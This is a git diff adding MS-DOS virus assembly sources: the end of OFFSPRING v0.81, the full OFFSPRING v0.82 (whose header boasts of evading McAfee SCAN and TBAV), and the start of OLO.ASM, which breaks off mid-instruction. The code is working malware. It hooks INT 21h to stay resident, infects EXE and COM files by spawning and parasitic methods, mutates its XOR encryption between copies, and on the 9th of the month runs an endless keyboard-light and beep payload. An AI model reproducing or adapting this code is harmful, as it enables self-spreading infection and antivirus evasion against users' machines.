BETA 0.81 +; +; INFECTION METHOD : Everytime DOS function 4Bh (Execute File) +; is called the virus will infect up to 5 files +; in the current directory. It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; encryption routine switches from using di to si. +; Not anything overly amazing, but it works. +; +; + title offspring_1 + .286 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0fch ; reply to check +f_name equ 1eh ; Offset of file name in FF/FN buffer +f_sizel equ 1ch ; File size - low - loc in mem +f_sizeh equ 1ah ; File size - high - loc in mem +f_date equ 18h ; File date - loc in mem +f_time equ 16h ; File time - loc in mem +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +start: + + db 0bdh ; MOV BP,xxxx - Load delta offset + set_bp: + dw 0000 + + skip_dec: + jmp main ; Skip decryption, changes into NOP on + ; replicated copies. + di_op db 0bfh + mov_di dw offset enc_data+2 ; Point to byte after encryption num + ; +;------------------------- +; Encryption/Decryption + +encrypt: +cx_m db 90h,0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)/2 +xor_loop: + xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly + sw_byte3: ; INC xx changes position in these bytes + inc di + nop + nop + sw_byte4: + inc di + nop + nop + loop xor_loop ; loop while cx != 0 + + ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP + +enc_data: ; Start of encrypted data + +;------------------------------- +; Non-Resident portion of virus +;------------------------------- +main proc + + mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for EXEC + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,9 ; 9th? + jne no_display + + mov ah,09 ; display virus name + lea dx,vname[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: + + call install ; check if installed, if not install + + cmp byte ptr vtype[bp],parastic + je com_return + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0FBh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp + mov cx,4 ; Restore original first + add si,offset org_bytes ; five bytes of COM file + mov di,0100h + cld + rep movsb + + mov ax,0100h ; Simulate CALL return to 0100h + push ax + ret + +main endp + +;-------------------------------------- +; INSTALL - Install the virus +;-------------------------------------- + +install proc + + mov ah,signal + int 21h + cmp ah,reply + je no_install + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + + + mov ax,ds: [3] ;Block size in MCB + sub ax,190 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start) + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsb ; Copy virus to high memory + + push es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] + mov bx,es: [21h*4] + mov ds: old21_seg,ax ; Store segment + mov ds: old21_ofs,bx ; Store offset + + cli + + mov es: [21h*4+2],ds ; Save seg + lea ax, new21 + mov es: [21h*4],ax ; off + + sti + + no_install: + push cs ; Restore regs + pop ds + push cs + pop es + + ret +install endp + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ax,4b00h ; exec func? + jne end_21 + cmp ch,0FBh ; don't infect when the virus + jne run_res ; executes a file + + jmp end_21 + + run_res: + pushf + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs + pop ds + + xor ax,ax ; nullify ES + mov es,ax + + cmp byte ptr add_mem,1 ; Restore system conventional mem size? + je rel_mem ; + cmp ah,48h ; alloc. mem block? If so we subtract 3k from + je set_mem ; total system memory. + + jmp no_mem_func + + set_mem: + sub word ptr es: [413h],3 ; Subtract 3k from total sys mem + inc byte ptr add_mem ; make sure we know to add this back + jmp no_mem_func + rel_mem: + add word ptr es: [413h],3 ; Add 3k to total sys mem + dec byte ptr add_mem + + + no_mem_func: + mov ah,2fh + int 21h ; Get the DTA + + mov ax,es + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs + pop es + + call resident ; Call infection kernal + + mov dx,word ptr old_dta + mov ax,word ptr old_dta+2 + mov ds,ax + mov ah,1ah + int 21h ; Restore the DTA + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +resident proc + + mov byte ptr vtype,spawn + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset fname1 ; Set search for *.EXE + mov word ptr mov_di,offset enc_data+2 + + find_first: + mov word ptr vend,0 ; Clear ff/fn buffer + lea si, vend + lea di, vend+2 + mov cx, 22 + cld + rep movsw + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, vend + int 21h + + mov ah, 4eh ; Findfirst + mov cx, 0 ; Set normal file attribute search + mov dx, fname_off + int 21h + + jnc next_loop ; if still finding files then loop + jmp end_prog + + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h + xor dl,dl + lea si,file_dir + int 21h + + cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx + lm3 : ; find end of directory name + inc bx + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,vend[f_name] + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + mov bx,1eh + + loop_me: ; search for filename ext. + inc bx + cmp byte ptr vend[bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr vend [bx],'OC' + mov byte ptr vend [bx+2],'M' + + + start_inf: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + + lea dx, vend[f_name] + mov ah, 3ch ; Create file + mov cx, 02h ; READ-ONLY + or cx, 01h ; Hidden + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + + inc inf_count + mov bx,ax + + jmp encrypt_ops +;---------------------------------------- +; Parastic infection + + parastic_inf : + + cmp word ptr vend+f_sizeh,400h + jge cont_inf2 + jmp no_infect + + cont_inf2: + + lea si,vend+f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + + mov ax,3d02h ; Open file for reading & writing + lea dx,vend+f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + + + mov bx,ax + + mov ah,3fh ; Read first bytes of file + mov cx,04 + lea dx,org_bytes + int 21h + + cmp word ptr org_bytes,0e990h + jne cont_inf + mov ah,3eh + int 21h + jmp no_infect + +cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data+2 + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr vend+f_sizeh + sub ax,4 + mov word ptr new_jmp+1,ax + + + mov ah,40h + mov cx,4 + lea dx,new_code + int 21h + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + +encrypt_ops: + +;----------------------------- +; Change encryptions ops + + push bx + + cmp pad_bytes,50 + je reset_pad + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr + jmp pad_ok + reset_pad: + mov ax,pad_bytes + sub word ptr b_wr,ax + xor ax,ax + mov pad_bytes,ax + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 + dec inc_op + dec byte ptr xor_op+1 + dec di_op + dec byte ptr enc_addr + dec byte ptr enc_add+1 + jmp chg_three + set2: + inc inc_op + inc byte ptr xor_op+1 + inc di_op + inc byte ptr enc_addr + inc byte ptr enc_add+1 + +chg_three: + mov ah,inc_op + xor cx,cx + lea di,sw_byte3 +chg_four: + xor bx,bx ; Switch INC xx's location + cmp word ptr [di],9090h + je mov_pos + inc bx + inc bx + cmp byte ptr [di+1],90h ; is second byte not 90h + je mov_pos + dec bx +mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd) + mov byte ptr [di+2],90h ; to NOP + mov byte ptr [di+bx],ah ; place inc xx in other byte + + lea di,sw_byte4 + inc cx + cmp cx,1 + je chg_four +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +d2: + mov ah,2ch ; + int 21h ; Get random number from clock - millisecs + + mov word ptr xor_op+2,dx ; save encryption # + + + mov si,0100h + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+52 ; offset of new copy of virus + +go_enc: + mov byte ptr ret_byte,0c3h + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h + +;---------------------------------------- +; Write and close new infected file + + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr vend[f_time] + mov dx,word ptr vend[f_date] + int 21h + + +close: + mov ah, 3eh + int 21h + + +no_infect: + +; Find next file + find_file : + + cmp inf_count, max_inf + je end_prog + mov ah,4fh + int 21h + jc end_prog + jmp next_loop + + + end_prog: + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first + + + find_done: + mov byte ptr vtype,spawn + mov fname_off, offset fname1 + ret +resident endp + +vtype db spawn ; Infection type +rot_num dw 0000 ; Used when replacing bytes with OP_SET +inf_count db 0 ; How many files we have infected this run +com_name db 'COMMAND.COM' ; obvious +new_code db 90h +new_jmp db 0e9h,00,00 ; New Jump +org_bytes db 5 dup(0) ; original first five bytes of parastic inf. +pad_bytes dw 0 ; Increase in viru size +add_mem db 0 ; Add memory back? +old_dta dd 0 ; Old DTA Segment:Address +inc_op db 47h ; INC DI (47h) or INC SI (46h) + +copyr db '(c)1993 negoriV' ; my copyright +vname db 0ah,0dh,'OFFSPRING V0.81','$' + +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +fname_off dw fname1 ; Offset of Filespec to use +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; +vend: ; End of virus + +cseg ends + end start diff --git a/o/OFFSPR82.ASM b/o/OFFSPR82.ASM new file mode 100755 index 0000000..e7a152f --- /dev/null +++ b/o/OFFSPR82.ASM @@ -0,0 +1,671 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.82 - BY VIROGEN - 09-06-93 +; ************************************************ +; +; - Compatible with : TASM /m2 +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : 0.82 +; - No longer detectable by Mcafee SCAN as anything. +; - No longer detectable by TBAV heuristics. +; +; +; INFECTION METHOD : Everytime DOS function 4Bh (Execute File) +; is called the virus will infect up to 5 files +; in the current directory. It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; encryption routine switches from using di to si. +; Not anything overly amazing, but it works. +; +; +; +; + title offspring_1 + .286 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0fch ; reply to check +f_name equ 1eh ; Offset of file name in FF/FN buffer +f_sizel equ 1ch ; File size - low - loc in mem +f_sizeh equ 1ah ; File size - high - loc in mem +f_date equ 18h ; File date - loc in mem +f_time equ 16h ; File time - loc in mem +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +start: + + skip_dec: + jmp main ; Skip decryption, changes into NOP on + ; replicated copies. + di_op db 0bfh + mov_di dw offset enc_data+2 ; Point to byte after encryption num + ; +;------------------------- +; Encryption/Decryption + +encrypt: +cx_m db 90h,0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)/2 +xor_loop: + xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly + sw_byte3: ; INC xx changes position in these bytes + inc di + nop + nop + sw_byte4: + inc di + nop + nop + loop xor_loop ; loop while cx != 0 + + ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP + +enc_data: ; Start of encrypted data + +;------------------------------- +; Non-Resident portion of virus +;------------------------------- +main proc + + db 0bdh ; MOV BP,xxxx - Load delta offset + set_bp: + dw 0000 + + mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for EXEC + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,9 ; 9th? + jne no_display + + mov ah,09 ; display virus name + lea dx,vname[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: + + call install ; check if installed, if not install + + cmp byte ptr vtype[bp],parastic + je com_return + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0FBh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp + mov cx,6 ; Restore original first + add si,offset org_bytes ; six bytes of COM file + mov di,0100h + cld + rep movsb + + mov ax,0100h ; Simulate CALL return to 0100h + push ax + ret + +main endp + +;-------------------------------------- +; INSTALL - Install the virus +;-------------------------------------- + +install proc + + mov ah,signal + int 21h + cmp ah,reply + je no_install + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + + + mov ax,ds: [3] ;Block size in MCB + sub ax,190 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start) + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsb ; Copy virus to high memory + + push es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] + mov bx,es: [21h*4] + mov ds: old21_seg,ax ; Store segment + mov ds: old21_ofs,bx ; Store offset + + cli + + mov es: [21h*4+2],ds ; Save seg + lea ax, new21 + mov es: [21h*4],ax ; off + + sti + + no_install: + push cs ; Restore regs + pop ds + push cs + pop es + + ret +install endp + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ax,4b00h ; exec func? + je exec_func + + jmp end_21 + + exec_func: + cmp ch,0FBh + je end_21 + run_res: + pushf + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs + pop ds + + xor ax,ax ; nullify ES + mov es,ax + + cmp byte ptr add_mem,1 ; Restore system conventional mem size? + je rel_mem ; + cmp ah,48h ; alloc. mem block? If so we subtract 3k from + je set_mem ; total system memory. + + jmp no_mem_func + + set_mem: + sub word ptr es: [413h],3 ; Subtract 3k from total sys mem + inc byte ptr add_mem ; make sure we know to add this back + jmp no_mem_func + rel_mem: + add word ptr es: [413h],3 ; Add 3k to total sys mem + dec byte ptr add_mem + + + no_mem_func: + mov ah,2fh + int 21h ; Get the DTA + + mov ax,es + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs + pop es + + call resident ; Call infection kernal + + mov dx,word ptr old_dta + mov ax,word ptr old_dta+2 + mov ds,ax + mov ah,1ah + int 21h ; Restore the DTA + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +resident proc + + mov byte ptr vtype,spawn + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset fname1 ; Set search for *.EXE + mov word ptr mov_di,offset enc_data+2 + + find_first: + mov word ptr vend,0 ; Clear ff/fn buffer + lea si, vend + lea di, vend+2 + mov cx, 22 + cld + rep movsw + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, vend + int 21h + + mov ah, 4eh ; Findfirst + mov cx, 0 ; Set normal file attribute search + mov dx, fname_off + int 21h + + jnc next_loop ; if still finding files then loop + jmp end_prog + + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h + xor dl,dl + lea si,file_dir + int 21h + + cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx + lm3 : ; find end of directory name + inc bx + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,vend[f_name] + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + mov bx,1eh + + loop_me: ; search for filename ext. + inc bx + cmp byte ptr vend[bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr vend [bx],'OC' + mov byte ptr vend [bx+2],'M' + + + start_inf: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + + lea dx, vend[f_name] + mov ah, 3ch ; Create file + mov cx, 02h ; READ-ONLY + or cx, 01h ; Hidden + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + + inc inf_count + mov bx,ax + + jmp encrypt_ops +;---------------------------------------- +; Parastic infection + + parastic_inf : + + cmp word ptr vend+f_sizeh,400h + jge cont_inf2 + jmp no_infect + + cont_inf2: + + lea si,vend+f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + + mov ax,3d02h ; Open file for reading & writing + lea dx,vend+f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + + + mov bx,ax + + mov ah,3fh ; Read first bytes of file + mov cx,06 + lea dx,org_bytes + int 21h + + cmp word ptr org_bytes,09090h + jne cont_inf + mov ah,3eh + int 21h + jmp no_infect + +cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data+2 + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr vend+f_sizeh + sub ax,6 + mov word ptr new_jmp+1,ax + + + mov ah,40h + mov cx,6 + lea dx,new_code + int 21h + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + +encrypt_ops: + +;----------------------------- +; Change encryptions ops + + push bx + + cmp pad_bytes,50 + je reset_pad + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr + jmp pad_ok + reset_pad: + mov ax,pad_bytes + sub word ptr b_wr,ax + xor ax,ax + mov pad_bytes,ax + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 + dec inc_op + dec byte ptr xor_op+1 + dec di_op + dec byte ptr enc_addr + dec byte ptr enc_add+1 + jmp chg_three + set2: + inc inc_op + inc byte ptr xor_op+1 + inc di_op + inc byte ptr enc_addr + inc byte ptr enc_add+1 + +chg_three: + mov ah,inc_op + xor cx,cx + lea di,sw_byte3 +chg_four: + xor bx,bx ; Switch INC xx's location + cmp word ptr [di],9090h + je mov_pos + inc bx + inc bx + cmp byte ptr [di+1],90h ; is second byte not 90h + je mov_pos + dec bx +mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd) + mov byte ptr [di+2],90h ; to NOP + mov byte ptr [di+bx],ah ; place inc xx in other byte + + lea di,sw_byte4 + inc cx + cmp cx,1 + je chg_four +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +d2: + mov ah,2ch ; + int 21h ; Get random number from clock - millisecs + + mov word ptr xor_op+2,dx ; save encryption # + + + mov si,0100h + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+52 ; offset of new copy of virus + +go_enc: + mov byte ptr ret_byte,0c3h + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h + +;---------------------------------------- +; Write and close new infected file + + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr vend[f_time] + mov dx,word ptr vend[f_date] + int 21h + + +close: + mov ah, 3eh + int 21h + + +no_infect: + +; Find next file + find_file : + + cmp inf_count, max_inf + je end_prog + mov ah,4fh + int 21h + jc end_prog + jmp next_loop + + + end_prog: + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first + + + find_done: + mov byte ptr vtype,spawn + mov fname_off, offset fname1 + ret +resident endp + +vtype db spawn ; Infection type +rot_num dw 0000 ; Used when replacing bytes with OP_SET +inf_count db 0 ; How many files we have infected this run +com_name db 'COMMAND.COM' ; obvious +new_code db 90h,90h,90h ; preceed with three NOPs +new_jmp db 0e9h,00,00 ; New Jump +org_bytes db 7 dup(0) ; original first six bytes of parastic inf. +pad_bytes dw 0 ; Increase in viru size +add_mem db 0 ; Add memory back? +old_dta dd 0 ; Old DTA Segment:Address +inc_op db 47h ; INC DI (47h) or INC SI (46h) + +copyr db '(c)1993 negoriV' ; my copyright +vname db 0ah,0dh,'OFFSPRING V0.82','$' + +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +fname_off dw fname1 ; Offset of Filespec to use +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; +vend: ; End of virus + +cseg ends + end start diff --git a/o/OLO.ASM b/o/OLO.ASM new file mode 100755 index 0000000..e6d3d59 --- /dev/null +++ b/o/OLO.ASM @@ -0,0 +1,367 @@ +; +; Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ +; Ĵ +; +; Ŀ Ŀ Ŀ Ŀ +; Ŀ Ĵ Ŀ +; +; +; ...from the books of pAgE +; + + + .model tiny + .code + + org 100h + +depth_of_well equ longer_than-my_dick + +my_dick: + call yump_up_and_go + +yump_up_and_go: pop bp + sub bp,offset yump_up_and_go + jmp hop_over_da_shit + +and_over_it_again: mov ax,3524h + int 21h + mov word ptr [bp+stash_box],bx + mov word ptr [bp+stash_box+2],es + mov ah,25h + lea dx,[bp+offset int24] + int 21h + push cs + pop es + jmp gordon_effect + +hop_over_da_shit: lea si,[bp+stash_3] + mov di,100h + push di + movsw + movsb + + mov byte ptr [bp+how_many],4 +stupid_shit_trns: mov ah,1Ah + lea dx,[bp+new_chunk] + int 21h + + mov ah,47h + mov dl,0 + lea si,[bp+where_we_is] + int 21h + mov byte ptr [bp+eyelash],'\' + + jmp and_over_it_again + jmp bang_bang +put_fletch_on_it proc far + +yeeha_go: mov ah,0h + mov al,12h + int 10h + + jmp yo_homey_1 +stupid_shit_1 db 4 +stupid_shit_2 dw 0 + db 62h, 79h +copyright db '-->>pAgE<<--' + db '(C)1992 TuRN-THE-pAgE ' +stupid_shit_5 db 'Ancient Sages' + db ' ' + db ' Is one of pAgEs' + db ' ' + db '$' +yo_homey_1: + push si + push di + mov si,80h + cld + call mo_stupid_shit_1 + cmp byte ptr [si],0Dh + je yo_homey_4 + mov cx,28h + lea di,stupid_shit_5 +yo_homeyloop_2: + lodsb + cmp al,0Dh + je yo_homey_3 + stosb + loop yo_homeyloop_2 +yo_homey_3: + inc cx + mov al,2Eh + rep stosb +yo_homey_4: + pop di + pop si + + mov dx,si + mov cx,di + mov stupid_shit_2,cx +yo_homey_5: + mov stupid_shit_1,0FFh +yo_homey_6: + add stupid_shit_1,1 + mov bl,stupid_shit_1 + mov cx,40 + call mo_stupid_shit_2 + +yo_homeyloop_7: + mov al,byte ptr copyright+20h[bx] + mov ah,0eh + int 10h + + inc bx + call mo_stupid_shit_3 + mov dl,0FFh + mov ah,6 + int 21h + + jnz yo_homey_10 + loop yo_homeyloop_7 + + cmp byte ptr copyright+20h[bx],24h + je yo_homey_5 + jmp short yo_homey_6 + +put_fletch_on_it endp + +mo_stupid_shit_1 proc near + +yo_homey_8: + inc si + cmp byte ptr [si],20h + je yo_homey_8 + retn +mo_stupid_shit_1 endp + +mo_stupid_shit_2 proc near + + push ax + push bx + push cx + push dx + mov dx,si + mov cx,di + mov ah,0Fh + int 010h + mov ax,1210h + mov bx,55h + int 10h + pop dx + pop cx + pop bx + pop ax + + retn +mo_stupid_shit_2 endp + +mo_stupid_shit_3 proc near + push cx + mov cx,258h +yo_homeyloop_9: + loop yo_homeyloop_9 + pop cx + retn +mo_stupid_shit_3 endp + +yo_homey_10: + call mo_stupid_shit_2 + mov cx,4Fh +yo_homeyloop_11: + mov al,20h + mov ah,0Eh + int 10h + + loop yo_homeyloop_11 + + mov ah,1 + mov cx,stupid_shit_2 + int 10h + + jmp bang_bang + call fuck_da_monkey + +gordon_effect: lea dx,[bp+what_we_wants] + mov ah,4eh + mov cx,7h +findfirstyump_up_and_go: nop + int 21h + + mov al,0h + call tear_it_open + + xchg ax,bx + + mov ah,3fh + lea dx,[bp+muffler] + mov cx,1ah + int 21h + + mov ah,3eh + int 21h +check_it_out: + + mov ax,word ptr [bp+new_chunk+1Ah] + cmp ax,(longer_than-my_dick) + jb find_next + + cmp ax,65535-(longer_than-my_dick) + ja find_next + + mov bx,word ptr 